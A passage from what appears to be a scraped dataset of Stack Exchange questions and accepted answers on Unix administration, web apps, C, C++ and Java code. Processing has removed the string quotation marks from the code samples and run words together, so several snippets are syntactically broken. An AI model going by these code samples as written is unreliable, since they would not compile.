"tags": "http;typescript;rxjs;angular 2+" } { "id": "_unix.175801" , "question": "Can someone tell me a command that will find my external ip for a freebsd 10 system." , "title": "How to find public ip for a freebsd system" , "tags": "freebsd;ip" , "accepted_answer": "Personally, I use wtfismyip.com which returns pure text and does not need parsing:$ wget -qO - http://wtfismyip.com/text123.456.78.9" } { "id": "_webapps.107839" , "question": "I have a document in Word Online. When the document is downloaded to the desktop to be opened with regular Word, it seems that all comments are stripped from it. Is there a way to download a document from Word Online without losing comments?" , "title": "Downloading Word Online documents strips comments?" , "tags": "word online" } { "id": "_webapps.98554" , "question": "I am a school secretary. I created a master schedule in sheets. Based on that schedule, I sent a separate sheet to each teacher to create their own personal schedule. I created tabs and cut and paste each personal schedule into a specific tab/sheet labeled with that teacher's name. I did not want to cut and paste. I wanted to insert their actual document as a tab in the master file. How would I go about doing that?" , "title": "Insert document as tab in master spreadsheet" , "tags": "google spreadsheets" } { "id": "_webmaster.21597" , "question": "Many popular JS/CSS frameworks are offered via Google's Libraries API (jQuery, Dojo, MooTools etc.). Yahoo also hosts it's own YUI toolkit, as do many others.Do any high volume/traffic sites actually rely on these externally-hosted resources (without hosting their own copies)? It seems like a great service to leverage, although in my experience I've often encountered these libraries packaged along with the projects I've worked on.What's the most common practice here? Moreover, is it safe and reliable (based on experience) to use these externally?" , "title": "Is it common, or smart, for high-traffic sites use externally-hosted js/css frameworks?" , "tags": "google;web hosting;jquery;yahoo" , "accepted_answer": "It is quite common, and for high traffic websites certainly using a Content Delivery Network is sound advice, it takes the strain off your main server whilst making sure users get static content quickly.There is the added benefit that if I visit site A that uses say the Google hosted jQuery and then visit site B that does the same, I will have cached it from site a and will not need to download it again.The downside is that you are relying on other networks having the same uptime you do, the Amazon outages have proved that nothing has 100% uptime." } { "id": "_webapps.58321" , "question": "Why does Gmail frequently ask for my password? It rarely did this until I changed my password. " , "title": "Why does Gmail frequently ask for my password? It started when I changed my password" , "tags": "gmail" } { "id": "_softwareengineering.246276" , "question": "At work, one of my projects is mostly about taking data passed in from an external client and persisting it in a database. It's a Java enterprise app using JPA and most of our logic revolves around CRUD operations. The majority of our bugs involve JPA in one way or another. Example 1: If you click the save button twice, JPA might try to insert the same entity into the database a second time, causing a primary key violation.Example 2: You retrieve an entity from the database, edit it and try to update its data. JPA may try to create a new instance instead of updating the old one. Often the solution is needing to add/remove/change a JPA annotation. Other times it has to do with modifying the DAO logic. I can't figure out how to get confidence in our code using unit tests and TDD. I'm not sure if it's because unit tests and TDD are a bad fit, or if I'm approaching the problem wrong.Unit tests seem like a bad fit because I can only discover these problems at runtime and I need to deploy to an app server to reproduce the issues. Usually the database needs to be involved which I consider to be outside the definition of a unit test: These are integration tests.TDD seems like a bad fit because the deploy + test feedback loop is so slow it makes me very unproductive. The deploy + test feedback loop takes over 3 minutes, and that's just if I run the tests specifically about the code I'm writing. To run all the integration tests takes 30+ minutes.There is code outside this mold and I always unit test that whenever I can. But the majority of our bugs and the biggest time sinks always involve JPA or the database.There is another question that is similar, but if I followed the advice I'd be wrapping the most unstable part of my code (the JPA) and testing everything but it. In the context of my question, I'd be in the same bad situation. What's the next step after wrapping the JPA? IMO that question is (perhaps) a step to answer my question, but not an answer to it." , "title": "How can I use unit tests and TDD to test an app that relies mostly on database CRUD operations?" , "tags": "java;unit testing;tdd;jpa" } { "id": "_unix.339210" , "question": "I was able to locale libnl (and few of its child) in /usr/lib64. I'd like to install libnl3-devel-3.2.29-2.fc25.x86_64.rpm there BUT my current version of libnl is an earlier version (3.2.27..) So I'm having trouble ...dnf libnl is not working...I'm doing all this to install aircrack-ng Could you help me install it (especially libnl-3-dev and libnl-genl-3-dev) ?" , "title": "How to update libnl in Fedora?" , "tags": "software installation" , "accepted_answer": "You did not mentioned which distro you have; is it Fedora 24 ? I have Fedora 25. I ran just now dnf update, and after it completed (it took about 20 minutes), running rpm -q libnl3 gives libnl3-3.2.29-2.fc25.x86_64, which is what you want.I need to add that before running dnf update I had libnl3-3.2.28-3.fc25.x86_64 and not 3.2.27 as you. Regarding libnl-3-dev and libnl-genl-3-dev: these are Ubuntu/Debian packages, not Fedora/CentOs packages. I installed the parallel libnl3-devel Fedora package (again on this F25 machine) by dnf install libnl3-devel, and it installed libnl3-devel-3.2.29-2.fc25.x86_64. Not sure about libnl-genl-3-dev.Rami Rosen" } { "id": "_webapps.43238" , "question": "Is it possible to host a website for example in Amazon Cloud and have my domain point there, but have the same domain installed with Gmail for mail support?" , "title": "Is it possible to host in the cloud but have email in Gmail?" , "tags": "gmail;amazon;amazon ec2" } { "id": "_softwareengineering.133368" , "question": "If in a web app, let's say an app that has a table with stored street address (Strings), the admin of the app will be adding data often to grow his archive.The table (MySQL) has a primary key with AUTO_INC.The web app allows the users to add addresses themselves. Once a user enters an address say X, ALL of the users of the application will be able to see the address X when searching for available addresses.What if, since address is a string, a user stores inappropriate content(like bad words, for example)? This might offend some users and push them to stop using the app.So I was thinking of what would be better:Storing user input in a separate table (pending input), until the admin approves them and then they're moved the official table?Or store the inputs in same table of the admin's inputs table, but put a temporary flag on each entered record (by the users) so that they are only visible to that user until the admin approves them?On a side note, is it logical to limit each user to have a specific amount of input addresses per day that they can add (some spammers might fill the table with thousands of useless records)?" , "title": "Is it bad practice to store user input in the same table where the admin stores data?" , "tags": "web applications;database design;user experience" , "accepted_answer": "I would always put data of the same type in one table and rather add some simple columns with flags in a single table. This will make adding new features to your system in a later stage probably much easier to accomplish. Especially if other developers will be working on the project.The problem with a limited amount of submissions by users, is that you limit the most active users. You can follow the StackExchange philosophy. The first time a user adds an address, it first needs to be approved. Then you can create a trusted base of users, and there is no reason to restrict those users at all. Don't make it to complicated however. Dividing users in new users and trusted users should be enough, if you also add some opportunity for regular users to report spam-input with a simple button. Do not make your system more restricted than necessary, that will scare of potential active users." } { "id": "_webmaster.86984" , "question": "A Google Analytics account I have access to seems to completely ignore visits from handheld devices.I originally noticed as the traffic count from handheld was only 15, compared to the thousands received on desktop. I've visited the site from tablets and mobiles while viewing Realtime, and it doesn't show up.I was worried that it was classing these visits as desktop, but it actually seems that they just aren't getting tracked at all.I've also noticed that the URL structure is different to anything I've seen before. Instead of domain.com/services, it's services/domain.com - which is a 404 page. However it does appear that Analytics is tracking visits to the actual page, just displaying the URL incorrectly. Could these two issues be connected?" , "title": "Google Analytics Not Tracking Mobile Visitors" , "tags": "google analytics;google tag manager" } { "id": "_cs.47622" , "question": "I am confused in finding RAW dependencies whether we have to find only in adjacent instructions or non-adjacent also.consider the following assembly code I1: ADD R1 , R2, R2; I2: ADD R3, R2, R1;I3: SUB R4, R1 , R5;I4: ADD R3, R3, R4;FIND THE NUMBER OF READ AFTER WRITE(RAW) DEPENDENCIES IN THE Above Code.I am getting 2 dependency I2-I1 and I4-I3." , "title": "Read After Write(RAW) hazard" , "tags": "computer architecture;cpu pipelines" } { "id": "_webapps.14178" , "question": "I am using Firefox. Whenever I typemy questions on stackexchangesites, there will be automatic spellchecking. Does this function comesfrom Firefox, or from stackexchangesites, or somewhere else?If it comes form Firefox, why isthere no spell checking when I typein some other websites? Just offyour head, in what cases, there willbe spell checking and in what casesthere will be no?American English and British Englishmay spell some words in differentways. For example, if I typeoptimization, it will beautomatically underscored to let meknow the spelling is wrong. How canI make the spell checking tool torecognize American English spelling?Thanks and regards!" , "title": "Where does the spell checking function comes from?" , "tags": "spell check" , "accepted_answer": "As I type this answer on webapps.stackexchange.com, Firefox is providing the spell checking.It depends on the website. I suspect that any site that uses standard textarea tags will allow Firefox to spell-check it. Google Docs, on the other hand, uses its own custom spell checker.Right-click a misspelled word. Select Languages and make sure English / United States is selected. If you don't see it there, select Add Dictionaries... and install the English (US) dictionary." } { "id": "_unix.144371" , "question": "I would like to run xkbcomp upon a user login in order to modify its keyboard. The command works fine from a terminal after login. The system is an unmodified Fedora 20 Desktop Edition.I tried to add the command (with full paths) to gnome-session-properties$HOME/.xinitrcI also added an additional entry to /etc/xdg/autostart/:[Desktop Entry]Type=ApplicationName=Programmers on AZERTYExec=/usr/bin/xkbcomp /home/w/azerty_prog.xkb $DISPLAYX-GNOME-Autostart-enabled=trueNone of these work, the keyboard is not modified (I do not know where logs are located). Where should I add this entry?" , "title": "How to start a command upon login in GNOME?" , "tags": "gnome;login;xkb" } { "id": "_unix.237269" , "question": "I can echo to /dev/tty1: echo hello > /dev/tty1I can display an image (while booting or not): fbi -T 1 -noverbose -a test.pngI can display the image after printing hello to the console, but I can not print anything after displaying an image. How can I print to the console after displayin an image? " , "title": "How to echo tty1 after displaying an image via fbi?" , "tags": "tty;fbi" } { "id": "_codereview.27901" , "question": "Resharper thinks I should change thiswhile (dockPanel.Contents.Count() > 0)to the following:while (dockPanel.Contents.Any())Without thinking twice about it, I switched to the any version because .Any() is more readable for me. But a coworker of mine sees the change and asked why I did it. I explained that this improves readability but his objection was the following:Any is an ambiguous word.People may not be familiar with LINQ, so they might not be aware of what Any does at first glance.Count > 0 is universal. You don't have to know C# to find out what you're trying to do.The confusion is probably compounded by the fact that I'm working overseas. People here speak little to no English here.Which method should I stick with?" , "title": "List Any vs Count, which one is better for readability?" , "tags": "c#" , "accepted_answer": "For me, it's about intent. What does your code's business logic say if you read it in English (or your native language)?It usually comes to me as If there are any employees who are in the management role, then show a particular option panel.And that means .Any(). Not .Count(). Very few times will I find myself using .Count() unless the underlying rule talks about more than one or more than two of something.As a bonus, .Any() can be a performance enhancement because it may not have to iterate the collection to get the number of things. It just has to hit one of them. Or, for, say, LINQ-to-Entities, the generated SQL will be IF EXISTS(...) rather than SELECT COUNT ... or even SELECT * ...." } { "id": "_webapps.86782" , "question": "I periodically send out emails to our team to check in on from entries that have a specific field set to No. And after they complete a certain task then need to change that entry to Yes. The easiest way I've found to do this is to have them go to the form edit URL and just change the last question themselves.However, to make it easier, I would like to auto-fill that change that final questions to a Yes instead of a No through the Edit URL.Is this possible? If this is not possible, any suggestions for a more user-friendly way to edit a response? If I could generate a link that runs a script with a unique identifier that would work as well, or even a link that causes the specific spreadsheet cell to change would work too." , "title": "Can I auto-fill an answer on a form edit URL?" , "tags": "google forms" , "accepted_answer": "I figured that out rather quickly.If you take your form URL:docs.google.com/a/mydomain/forma/d/uniqueFormString/viewform?edit2=uniqueEditStringGet your elements number and value by getting a pre-filled URL. ie. &entry.688631299=Yes and insert it right after the viewform? and append a & after your elements number and value.The URL should look like: docs.google.com/a/mydomain/forma/d/uniqueFormString/viewform?&entry.688631299=Yes&edit2=uniqueEditStringGo to that URL and the specific question will be changed. Now if I could just figure out how to auto-submit the form to make it even easier." } { "id": "_webmaster.74681" , "question": "Whenever I create a Responsive Website I usually create 2 menus: 1 hidden and used for mobile and the other displayed as the main menu, then hidden to show the mobile menu. Whenever it comes to SEO and spiders navigating the website do I get dinged for having duplicate menus? Is there anything I can do to indicate to the spider that this menu is for mobile and this is the main? The end reason why I have 2 different menus are because of location, usually the main menu is in some kind of bar underneath the logo etc, but the mobile menu I want on top of everything, so above the logo etc." , "title": "SEO - Responsive Website and Duplicated Menus" , "tags": "seo;web crawlers;googlebot;navigation" , "accepted_answer": "You have nothing to worry about. You can use display: none; to switch menus. Search engines are much better at understanding JS and CSS. As long as you are not intentionally trying to manipulate things to get a better ranking. Using display: none; to hide big blocks of text will get you penalized. So if you are only using to hide your desktop menu on mobile and visa verse you are not in any danger. Take a look a this old thread from StackExchange: How bad is it to use display: none in CSS?Google is actually quite fond of responsive design and prefers it to a separate mobile site.Here is a good article on SEO of Responsive DesignAlso, check out this article/video:Matt Cutts (Google), said that you dont have to worry about there being a down side, related to SEO, when using a responsive design approach for mobile web sites." } { "id": "_webapps.9191" , "question": "On two computers now, I have a strange recurring visual formatting bug when accessing Gmail using Firefox. One email, usually towards the bottom of the page, has a blue block over the date. I have reloaded multiple times and cleared out the gmail cookies. I have even cleared out the entire cache, but the problem persists. Any ideas what is causing this?" , "title": "Fix formatting issue with Gmail on Firefox" , "tags": "gmail;firefox" , "accepted_answer": "Typical, no sooner do I post the issue, than I work out what was causing it. It was the google calendar gadget from the google labs settings page. The badly formatted email was in line with the top of the gadget." } { "id": "_unix.165160" , "question": "Let's say you want to cat the contents of a really big file, but want to view it a few bits at a time. Let's say one were to do the following:$ cat /dev/sda1 | lessAs a programmer of languages such as Java and ActionScript, when I look at that code I imagine Bash first running the command cat /dev/sda1 (loading everything the command returns into RAM), and then running the command less which has access to that really big pseudo-variable represented as -.Is that the way Bash does things (meaning that command is a really bad idea if the file is larger than the amount of RAM on your system, and you should use another command), or does it have a way of optimising the piping of large amounts of data?" , "title": "How does Bash pipe large amounts of data?" , "tags": "bash;pipe;less" } { "id": "_codereview.116846" , "question": "I'm using BFS to see if a given path exists in a graph:static class Node{ int data; Node next; public Node(int data){ this.data = data; }}//Adjency List to store the reference to head of each Node/Verticestatic class AdjList implements Iterable<Integer>{ Node head; public void add(int to){ if(head==null){ head = new Node(to); }else{ Node temp = head; while(temp.next!=null) temp = temp.next; temp.next = new Node(to); } } //Used to iterate over the adjacency list while BFS @Override public Iterator<Integer> iterator(){ Iterator<Integer> it = new Iterator<Integer>(){ Node temp = head; @Override public boolean hasNext(){ return temp!=null; } @Override public Integer next(){ Node toRet = temp; temp = temp.next; return toRet.data; } @Override public void remove(){ throw new UnsupportedOperationException(); } }; return it; }}static class Graph{ AdjList[] lists; int numberOfNodes; public Graph(int numberOfNodes){ lists = new AdjList[numberOfNodes]; this.numberOfNodes = numberOfNodes; for(int i=0; i<numberOfNodes; i++){ lists[i] = new AdjList(); } } //Adds edge from/to vertice public void addEdge(int from, int to){ lists[from].add(to); } public boolean BFS(int from, int to){ LinkedList<Integer> queue = new LinkedList<>(); queue.add(from); boolean[] visited = new boolean[numberOfNodes]; visited[from]= true; while(!queue.isEmpty()){ if(visited[to]==true) return true; int curr = queue.poll(); System.out.print(curr + ); Iterator<Integer> iter = lists[curr].iterator(); while(iter.hasNext()){ int currVal = iter.next(); if(visited[currVal]==false){ queue.add(currVal); visited[currVal]=true; } } } return false; }}public static void main(String[] args) { Graph myGraph = new Graph(3); myGraph.addEdge(0, 1); myGraph.addEdge(1,2); myGraph.addEdge(2,1); System.out.println(Path from 2 to 0 exists : + Boolean.valueOf(myGraph.BFS(2,0)));}I could've used DFS for the same purpose which requires lesser memory than BFS, but since my Graph was pretty small, it wouldn't have made much of a difference. Apart from that, under what circumstances should I prefer either of them?" , "title": "Check if a given path exists in a graph" , "tags": "java;graph" , "accepted_answer": "Regarding the code, I'd have only 2 suggestions:Use brackets even for single-line ifs. It improves readability and makes the code less error prone.Try not to shorten member names too much (like iter or it for example). It improves readability.As for the chosen algorithm and possible alternative I'd suggest Iterative Deepening DFS. It has the best of both Depth-First Search and Breadth-First Search - it's complete, finds the optimal solution, and doesn't use too much space.Let me know if anything's unclear." } { "id": "_webmaster.43077" , "question": "I am based in Europe and I would like to test my website as if I am located in New York.I have some specific features that will be visible based on cities. " , "title": "How can I change the location of my ip address to specific citiies/places when browsing?" , "tags": "ip address" } { "id": "_unix.264783" , "question": "I want to install a teamspeak on my root server, but after downloading the tar file, I cannot extract it.I use the commandtar -xzvf teamspeak3-server_linux_amd64-3.0.12.2.tar.bz2I also know that you don't need the hyphen/dash before the xzvf but I use it.Still I get a message that says the file doesn't exist although it is listed when I check with lsI get this error:tar (child): v: Funktion open fehlgeschlagen: Datei oder Verzeichnis nicht gefun dentar (child): Error is not recoverable: exiting nowtar: Child returned status 2tar: Error is not recoverable: exiting now" , "title": "Why does my tar not work?" , "tags": "linux;tar" , "accepted_answer": "The z option is for .tar.gz (gzipped) files.bzip2'd files (the .bz2 suffix) use a different tar option: j.Trytar -xjvf teamspeak3-server_linux_amd64-3.0.12.2.tar.bz2or (auto-detection has been around a couple of years)tar -xvf teamspeak3-server_linux_amd64-3.0.12.2.tar.bz2Further reading:Compression support" } { "id": "_unix.12865" , "question": "I have a CentOS server with RAID5. Every time RAID5 re-syncs my server stop working. The hosting company stopped the httpd service so that RAID5 can re-sync itself, a process which can take as long as 3-4 hours.The problem reoccurs frequently, so the Hosting company swaped my server hardware and I migrated to new hardware. I still have this problem (on the new server).Is this something normal in RAID5? How can we solve this issue permanently? If every time RAID5 wants to re-sync my server overloads and my website will not be accessible, then RAID5 sucks.I would really appreciate if you can suggest a solution for this disaster.Here is /proc/mdstat report:root@host [~]# watch 'cat /proc/mdstat'Every 2.0s: cat /proc/mdstat Mon May 9 01:25:30 2011Personalities : [raid1]md0 : active raid1 xvda1[0] xvdb1[1] 104320 blocks [2/2] [UU]md1 : active raid1 xvda2[0] xvdb2[1] 2096384 blocks [2/2] [UU]md2 : active raid1 xvda5[0] xvdb5[1] 484086528 blocks [2/2] [UU] [=====>...............] resync = 29.5% (142978880/484086528) finish=77.7min speed=73108K/secunused devices: <none>" , "title": "Problem with RAID5" , "tags": "centos;raid5" , "accepted_answer": "RAID should only resync after a server crash or replacing a failed disk. It's always recommended to use a UPS and set the system to shutdown on low-battery so that a resync won't be required on reboot. NUT or acpupsd can talk to many UPSes and initiaite a shutdown before the UPS is drained. If the server is resyncing outside of a crash, you probably have a hardware issue. Check the kernel log at /var/log/kern.log or by running dmesg. I also recommend setting up mdadm to email the adminstrator and running smartd on all disk drives similarly set up to email the administrator. I receive an email about half the time before I see a failed disk. If you are having unavoidable crashes, you should enable a write-intent bitmap on the RAID. This keeps a journal of where the disk is being written to and avoids a full re-sync on reboot. Enable it with:mdadm -G /dev/md0 --bitmap=internal" } { "id": "_unix.175806" , "question": "I'm on OS X Yosemite, ran this code:unsigned long num_;sysctl((int[]){CTL_HW, HW_PHYSMEM}, 2, &num_, &len, NULL, 0);printf(AMT MEM: , %lu\\n, num_);and getting back 140735340871680Which doesn't make sense: (in IPython 3)In [3]: mem / (1024 ** 3)mem / (1024 ** 3)Out[3]: 131070.0Since I have 16 GB of physical memory. I looked at the header for sysctl.h and see#define HW_PHYSMEM 5 /* int: total memory */#define HW_USERMEM 6 /* int: non-kernel memory */So now this really doesn't make sense, I could believe the figure if I passed HW_USERMEM, but I specially asked for total memory. What gives?Did I do some stupid math mistake in the Python code?" , "title": "Accounting for missing memory from sysctl" , "tags": "osx;memory" , "accepted_answer": "Did I do some stupid math mistake in the Python code?Actually, it's your C code that's wrong.The most direct fix to your code is this:#include <stdio.h>#include <sys/sysctl.h>int main(void){ int64_t bytes; size_t len = sizeof(bytes); sysctl({ CTL_HW, HW_PHYSMEM64 }, 2, &bytes, &len, NULL, 0); int megs = bytes / 1024 / 1024; printf(AMT MEM: %d MiB\\n, megs);}If you use HW_PHYSMEM instead, it only works on machines with up to 2 GiB of RAM, since it is storing a count of bytes into a variable that is assumed to be 32 bits in size. The change to a 64-bit argument requires a new sysctl value to avoid breaking backwards compatibility. This is why OpenBSD's sysctl(3) man page says HW_PHYSMEM is obsolete.I took a few liberties in the code above. I'm doing part of the math in the C code so I can read the output without feeding it through a calculator. I also fixed several integer type warnings and renamed the num_ variable to bytes for clarity.That code runs fine on some of the BSDs, but not on OS X or FreeBSD.On looking at the OS X man page, it seems they want you to use sysctlbyname(3) instead. This works fine here on Yosemite:#include <stdio.h>#include <sys/sysctl.h>int main(void){ int64_t bytes; size_t len = sizeof(bytes); sysctlbyname(hw.memsize, &bytes, &len, NULL, 0); int megs = bytes / 1024 / 1024; printf(AMT MEM: %d MiB\\n, megs);}I have 16 GiB of physical RAM, and it correctly reports 16384 MiB.If you try that on FreeBSD, though, you get 0 as an answer. A bit of poking around says that it wants hw.physmem instead.And once again we hit a wall, because trying that sysctlbyname value on OS X gives the sort of bogus results you found.Therefore, the bottom-line answer is that all of this is highly system-specific. If you need it to be cross-platform, you will need a lot of #ifdefs.Footnotes:Sorry, I don't have my powers of 2 memorized into the billions yet. :)Tested on OpenBSD 5.5 and NetBSD 6.0.1." } { "id": "_softwareengineering.242811" , "question": "I used to analyse performance of programmers in my team by looking at the issues they have closed. Many of the issues are of course bugs. And here another important performance aspect comes - who introduced the bugs. I am wondering, if creating a custom field in the issue tracking system Blamed for reporting the person who generated the problem, is a good practice.One one hand it seems ok to me to promote personal responsibility for quality and this could reduce the additional work we have due to careless programming. On the other hand this is negative, things are sometimes vague and sometimes there is a reason such us this thing had to be done very quickly due to a client's.... What to you think?" , "title": "Is it good practice to analyse who introduced each bug?" , "tags": "code quality;issue tracking;bug report" } { "id": "_codereview.54933" , "question": "This is a continuation of this question, v3 can be found hereTaking into account the advise given by Loki, an implementation of the threadpool using a std::condition_variable to control when threads wakeup is presented below. Using this, the test program eventually deadlocks, the time before deadlock occurs is directly related to the number of tasks in pre-allocation. This must mean that there is a problem in waking the threads when work has arrived, but I cannot identify why it is happening.This behaviour has currently been disabled by the USE_YIELD pre-compiler define.threadpool.hpp#ifndef THREADPOOL_H#define THREADPOOL_H#include <atomic>#include <condition_variable>#include <functional>#include <future>#include <mutex>#include <thread>#include <vector>#include <boost/lockfree/queue.hpp>#define USE_YIELDclass threadpool{public: // constructors // // calls threadpool(size_t concurrency) with: // // concurrency - std::thread::hardware_concurrency() threadpool(); // calls threadpool(size_t concurrency, size_t queue_size) with: // // concurrency - concurrency // queue_size - 128, arbitary value, should be sufficient for most // use cases. threadpool(size_t concurrency); // creates a threadpool with a specific number of threads and // a maximum number of queued tasks. // // Argument // concurrency - the guaranteed number of threads used in the // threadpool, ie. maximum number of tasks worked // on concurrently. // queue_size - the maximum number of tasks that can be queued // for completion, currently running tasks do not // count towards this total. threadpool(size_t concurrency, size_t queue_size); // destructor // // Will complete any currently running task as normal, then // signal to any other tasks that they were not able to run // through a std::runtime_error exception ~threadpool(); threadpool(const threadpool &) = delete; threadpool(threadpool &&) = delete; threadpool & operator=(const threadpool &) = delete; threadpool & operator=(threadpool &&) = delete; // run // // Runs the given function on one of the thread pool // threads in First In First Out (FIFO) order // // Argument // task - function or functor to be called on the // thread pool. // // Result // signals when the task has completed with either // success or an exception. Also results in an // exception if the thread pool is destroyed before // execution has begun. std::future<void> run(std::function<void()> && task);private: struct task_package { public: std::promise<void> completion_promise; std::function<void()> task; }; // Have to use 'task_package *' since a trivial destructor is // required, 'task_package' and 'std::unique_ptr<task_package>' // do not satisfy. boost::lockfree::queue<task_package *> tasks; std::vector<std::thread> threads; std::atomic<bool> shutdown_flag;#ifndef USE_YIELD volatile bool wakeup_flag; std::condition_variable wakeup_signal; std::mutex wakeup_mutex;#endif inline bool pop_task(std::unique_ptr<task_package> & out);};#endifthreadpool.cpp#include threadpool.hpp#include <algorithm>#include <exception>#include <utility>template<typename T>constexpr T zero(T){ return 0;}threadpool::threadpool() : threadpool(std::thread::hardware_concurrency()){ };threadpool::threadpool(size_t concurrency) : threadpool(concurrency, 128){ };threadpool::threadpool(size_t concurrency, size_t queue_size) : tasks(queue_size), shutdown_flag(false), threads()#ifndef USE_YIELD ,wakeup_flag(false), wakeup_signal(), wakeup_mutex()#endif{ // This is more efficient than creating the 'threads' vector with // size constructor and populating with std::generate since // std::thread objects will be constructed only to be replaced threads.reserve(concurrency); for (auto a = zero(concurrency); a < concurrency; ++a) { // emplace_back so thread is constructed in place threads.emplace_back([this]() { // checks whether parent threadpool is being destroyed, // if it is, stop running. while (!shutdown_flag.load()) { auto current_task_package = std::unique_ptr<task_package>{nullptr}; // use pop_task so we only ever have one reference to the // task_package if (pop_task(current_task_package)) { try { current_task_package->task(); current_task_package->completion_promise.set_value(); } catch (...) { // try and tell the owner that something bad has happened... try { // ...but this can also throw, so stay protected current_task_package->completion_promise.set_exception(std::current_exception()); } catch (...) { } } } else { // rather than spinning, give up thread time to other things#ifdef USE_YIELD std::this_thread::yield();#else auto lock = std::unique_lock<std::mutex>(wakeup_mutex); wakeup_flag = false; wakeup_signal.wait(lock, [this](){ return wakeup_flag; });#endif } } }); }};threadpool::~threadpool(){ // signal that threads should not perform any new work shutdown_flag.store(true);#ifndef USE_YIELD { std::lock_guard<std::mutex> lock(wakeup_mutex); wakeup_flag = true; wakeup_signal.notify_all(); }#endif // wait for work to complete then destroy thread for (auto && thread : threads) { thread.join(); } auto current_task_package = std::unique_ptr<task_package>{nullptr}; // signal to each uncomplete task that it will not complete due to // threadpool destruction while (pop_task(current_task_package)) { try { auto except = std::runtime_error(Could not perform task before threadpool destruction); current_task_package->completion_promise.set_exception(std::make_exception_ptr(except)); } catch (...) { } }};std::future<void> threadpool::run(std::function<void()> && task){ auto promise = std::promise<void>{}; auto future = promise.get_future(); // ensures no memory leak if push throws (it shouldn't but to be safe) auto package = std::make_unique<task_package>(); package->completion_promise = std::move(promise); package->task = std::forward<std::function<void()> >(task); tasks.push(package.get()); // no longer in danger, can revoke ownership so // tasks is not left with dangling reference package.release();#ifndef USE_YIELD { std::lock_guard<std::mutex> lock(wakeup_mutex); wakeup_flag = true; wakeup_signal.notify_all(); }#endif return future;};inline bool threadpool::pop_task(std::unique_ptr<task_package> & out){ task_package * temp_ptr = nullptr; if (tasks.pop(temp_ptr)) { out = std::unique_ptr<task_package>(temp_ptr); return true; } return false;}main.cpp#include <iostream>#include <chrono>#include <queue>#include <numeric>#include threadpool.hppthreadpool pool1;threadpool pool2;// pool3 is used as a parasite, increasing the number threads it uses// pronounces the negative effect of spinningthreadpool pool3(4 * std::thread::hardware_concurrency());std::atomic_flag cout_flag = ATOMIC_FLAG_INIT;int main(){ auto results1 = std::queue< std::future<void> >(); auto results2 = std::queue< std::future<void> >(); auto lambda1 = []() { while (cout_flag.test_and_set(std::memory_order_acquire)) ; std::cout << running on pool1 threadid: << std::this_thread::get_id() << std::endl; cout_flag.clear(std::memory_order_release); }; auto lambda2 = []() { while (cout_flag.test_and_set(std::memory_order_acquire)) ; std::cout << running on pool2 threadid: << std::this_thread::get_id() << std::endl; cout_flag.clear(std::memory_order_release); }; auto times = std::vector<std::chrono::nanoseconds>{}; times.reserve(10000); for (int j = 0; j < 10000; ++j) { cout_flag.test_and_set(std::memory_order_acquire); std::cout << round << j << std::endl; for (unsigned u = 0; u < 3; ++u) { results1.push(pool1.run(lambda1)); results2.push(pool2.run(lambda2)); } int i = 0; auto start = std::chrono::steady_clock::now(); cout_flag.clear(std::memory_order_release); // main loop while (i++ < 100) { auto & future1 = results1.front(); future1.get(); results1.pop(); results1.push(pool1.run(lambda1)); auto & future2 = results2.front(); future2.get(); results2.pop(); results2.push(pool2.run(lambda2)); } while (!results1.empty()) { results1.front().get(); results1.pop(); } while (!results2.empty()) { results2.front().get(); results2.pop(); } auto finish = std::chrono::steady_clock::now(); times.push_back(finish - start); } auto average = std::accumulate(std::begin(times), std::end(times), std::chrono::nanoseconds{}) / (206 * times.size()); std::cout << Average time per task: << static_cast<double>(average.count()) / 1000 << us << std::endl;}Are there any issues, improvements or fixes to the non-yield code that you can see?" , "title": "Platform independant thread pool v2" , "tags": "c++;multithreading;thread safety;reinventing the wheel;c++14" , "accepted_answer": "OK some fixes to stop you getting trapped:You were getting stuck because you could notify_all() and wake the threads in the condition variable. Then after the notification another thread can set wakeup_flag to false thus trapping the threads in the condition variable.ExampleThread 1: is at the line:auto lock = std::unique_lock(wakeup_mutex);But is unscheduled before it starts executing this line (for another processes).Thread 2: (the main thread) now enters the destructor (set shutdown_flag) and the then locks mutex wakeup_mutex.Thread 1: Even if thread 1 wakes up now. It can not proceed because of the lock.Thread 2: Proceeds. Sets wakeup_flag to true and notify_all() waiking all threads on the condition variable; thus releasing them. It releases the lock. and continues in the destructor.Thread 1: Can now proceed. It set wakeup_flag to false. And then wait() on the condition variable. It will never be woken up as it missed the notify_all().Thread 3/4/5/6/7/8: Wake up (as they were waiting on condition variable and did receive the notify_all()). So they start to execute. But before they are released they all check wakeup_flag which is now false so go back to waiting on the condition variable.The same scenario can apply to run(). In the above scenario replace destructor and run() and you get jobs left on the queue with nobody working on them.Don't use another variable wakeup_flag to keep the state where you should run in. You already have two of these. tasks.empty() and shutdown_flag. These should be what you test against. auto lock = std::unique_lock<std::mutex>(wakeup_mutex); wakeup_signal.wait(lock, [this]() { return !tasks.empty() // Wake if there are jobs || shutdown_flag.load(); // Or we are shutting down });Once you do this you don't need to wake all the threads when you add a new task. Just wake one of them.std::future<void> threadpool::run(std::function<void()> && task) { // STUFF // Don't need this anymore (as you are not manipulating state) // std::lock_guard<std::mutex> lock(wakeup_mutex); wakeup_signal.notify_one(); // Changed from notify_all" } { "id": "_unix.188007" , "question": "Upgrading kernel manually on Ubuntu 14.04 can cause trouble with NVIDIA drivers? (one of the troubles could be booting to black screen)I had lot of trouble with installing NVIDIA graphics drivers and getting it work, I had to reinstall my Ubuntu 14.04 four times.Few reasons were installing nvidia*.run file and booting to black screen, or installing Intel Graphics for Linux and booting to black screen etc. I am tired of solving those problems.I am want to know if there could be any problem before upgrading Linux kernel. Any advice would help" , "title": "Is it safe to upgrade kernel manually on a system which is using NVIDIA drivers?" , "tags": "linux kernel;kernel modules;nvidia" , "accepted_answer": "Not always, newer versions of kernel may not be able to build DKMS modules with nvidia because of which nvidia drivers may not work when booted with that kernel.As of 25 April 2015 I tried to install Linux kernel v4 which failed to work with nvidia so I had to remove it." } { "id": "_codereview.64887" , "question": "For the queries mentioned in link in 3 parts, the first two parts have been addressed, as mentioned below:Part I (6 points)list/DList.java contains a skeleton of a doubly-linked list class. Fill in themethod implementations.Note: node is passed in these methods so that user of class DList can avoid slow \\$O(n)\\$ method to access each successive element.Answer to Part I: Filled in methods insertFront() insertBack() front() back() next() prev() insertAfter() insertBefore() remove() in the below code.Part II (1 point)Our ADT is not as well protected as we would like. There are several ways by which a hostile (or stupid) application can corrupt our DList (i.e., make itviolate an invariant) through method calls alone.Answer to Part II: Added a member protected DList listp in class DListNode to make sure that user passes the node which is actually part of the list instead of some junk node. This is one way list can be avoided from corruption. Please find class DListNode below./* DList.java */package list;/** * A DList is a mutable doubly-linked list 